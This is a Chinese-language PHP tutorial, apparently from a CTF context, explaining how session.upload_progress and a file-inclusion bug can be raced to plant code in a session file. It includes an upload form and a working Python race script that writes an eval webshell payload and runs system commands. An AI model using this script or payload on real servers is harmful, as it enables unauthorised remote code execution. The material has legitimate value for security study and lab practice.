您的位置:首页 > 教程 > PHP编程 > 使用session upload_progress实现文件包含实例详解

使用session upload_progress实现文件包含实例详解

2022-12-09 12:09:09 来源:易采站长站 作者:

目录前言基础知识session.upload_progress攻击方法例题结语前言该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争...

目录
前言
基础知识
session.upload_progress
攻击方法
例题
结语

前言

该思路是很久之前在CTF比赛中学习到的,可以简单理解为利用session.upload_progress来进行文件竞争从而达到上传文件进行文件包含或者命令执行的目的,可能大部分人会不理解,我们下面我们展开来讲。

基础知识

session.upload_progress

首先我们要先学习什么是session.upload_progress,可以简单理解为文件上传进度,在php官方文档里可以找到描述:

使用session upload_progress实现文件包含实例详解

在这里面有几个很重要的函数,我们简单看一下:

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一个显而易见是设定是否开启该功能,第二个cleanup则是是否在上传后删除文件,第三个为设置前缀,第四个为session中的键值,那么他们有什么用呢?我们就可以在phpinfo里查看这些信息是否开启以此来判断能不能利用该漏洞。

攻击方法

我们攻击思路就是利用session.upload_progress来将木马写入到session里面,但这里有两个问题:

问题一:代码里没有session_start,我们如何创建session文件呢?

首先我们先看看session里面有一个很重要的选项:

session.use_strict_mode //默认值为off。

我们可以自己定义sessionid,假如我们定义sessionid为xino,则PHP将会在服务器上创建一个文件:/tmp/sess_xino”。即使我们没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由:

ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成

最后被写入sess_文件里。

问题二:上面的cleanup设置会删除数据,我们要如何防止数据被删除呢?

所以这里需要我们文件竞争不断发包直至上传成功,之后再读取session文件所在路径即可。类似于下图,可以搭配burpsuite使用:

使用session upload_progress实现文件包含实例详解

之后我们即可进行文件包含或者RCE攻击,总结一下该漏洞的利用条件:

存在文件包含漏洞

知道session文件存放路径,可以python尝试默认路径

具有读取和写入session文件的权限

下面给大家带来一个例题。

例题

进入题目首先看看题目源码:

使用session upload_progress实现文件包含实例详解

限制了我们很多东西,只能使用没有后缀的文件进行文件包含所以想到通过session.upload_progFfaIOLsRress来进行文件包含,因为我们需要上传一个东西,所以我们先写一个简单的文件上传点:

<!DOCTYPE html>
<html>
<body>
<form action="http://ctf" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

之后我们进行发包抓包然后重放,查看回显成功后我们访问/tmp/sess_flag,发现命令执行了:

使用session upload_progress实现文件包含实例详解

我们将之前发包文件里面的ls命令改为cat flag的文件名即可进行命令执行,也是抓包重放查看返回长度不一样的包:

使用session upload_progress实现文件包含实例详解

如果不喜欢手动我这里从网上找了一个自动化脚本,大家也可以尝试一下:

import io
import requests
import threading
sessid = 'FLAG'
data = {"cmd":"system('ls');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
        if '1.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

结语

今天给大家带来的是session.upload_progress文件包含漏洞,因为需要一些网络安全基础可能部分读者不太明白,这里有兴趣的小伙伴可以自己去了解一下找个现成的靶机去尝试一下,更多关于session upload_progress文件包含的资料请关注我们其它相关文章!

如有侵权,请发邮件到 [email protected]

相关文章

  • 解决PhpStorm64不能启动的问题

    解决PhpStorm64不能启动的问题

    PhpStorm64不能启动问题的解决思路 用CSDN已经几年,却从来没有试过自己写内容,正逢IDE出问题无法解决,来写写博客积累一下我贫乏的写作经验。 作为一个phper,PhpStorm这款IDE无疑是功
    2020-06-20
  • laravel开发环境homestead搭建过程详解

    laravel开发环境homestead搭建过程详解

    常见的几种开发环境 Laravel的开发环境其实很多,因为它本身就是PHP,所以只要满足版本的情况下,任何pHP环境他都能跑起来,比如说常见的wamp/mamp/phpstudy等集成化环境都是可以的,但
    2020-07-03
  • TP5框架实现上传多张图片的方法分析

    TP5框架实现上传多张图片的方法分析

    TP5框架实现上传多张图片的方法。,具体如下: 1、效果图(每点击一次‘添加选项',就会有一个新的 file 框来添加新的图片) 2、view !--不要忘了引入jquery文件--!-- post传值方式和文件
    2020-03-29
  • TP5框架使用QueryList采集框架爬小说操作示例

    TP5框架使用QueryList采集框架爬小说操作示例

    TP5框架使用QueryList采集框架爬小说操作。,具体如下: 最近想写一个小说网站,就去搜资料,搜出来TP5可以使用QueryList采集框架去爬小说,这里我来给大家详解如何用QueryList去爬小说。
    2020-03-26
  • phpmyadmin在宝塔面板里进不去的解决方案

    phpmyadmin在宝塔面板里进不去的解决方案

    在宝塔面板里装完phpmyadmin但是进不去数据库的这种情况太常见了, 很多人都买了服务器,装完了宝塔面板,但是十个人得有八个人进不去phpmyadmin,我总结了以下三种解决方案: 一、没
    2020-07-06
  • 基于PHP实现堆排序原理及实例详解

    基于PHP实现堆排序原理及实例详解

    堆 堆(heap)是计算机科学中一类特殊的数据结构的统称,通常是一个可以被看做一棵树的数组对象。 堆{k1,k2,ki,…,kn} (ki = k2i,ki = k2i+1)|(ki = k2i,ki = k2i+1), (i = 1,2,3,4...n/2) 关于堆: 堆中某个
    2020-06-19
  • 详解php反序列化

    详解php反序列化

    1 前言 最近也是在复习之前学过的内容,感觉对PHP反序列化的理解更加深了,所以在此总结一下 2 serialize()函数 “所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符
    2020-06-10
  • PHP读取Excel内的图片(phpspreadsheet和PHPExcel扩展库)

    PHP读取Excel内的图片(phpspreadsheet和PHPExcel扩展库)

    今天接到了一个从Excel内读取图片的需求,在网上查找了一些资料,基本实现了自己的需求,不过由于查到的一些代码比较久远,不能直接移植到自己的项目里,需要稍加改动一下。 这
    2019-11-19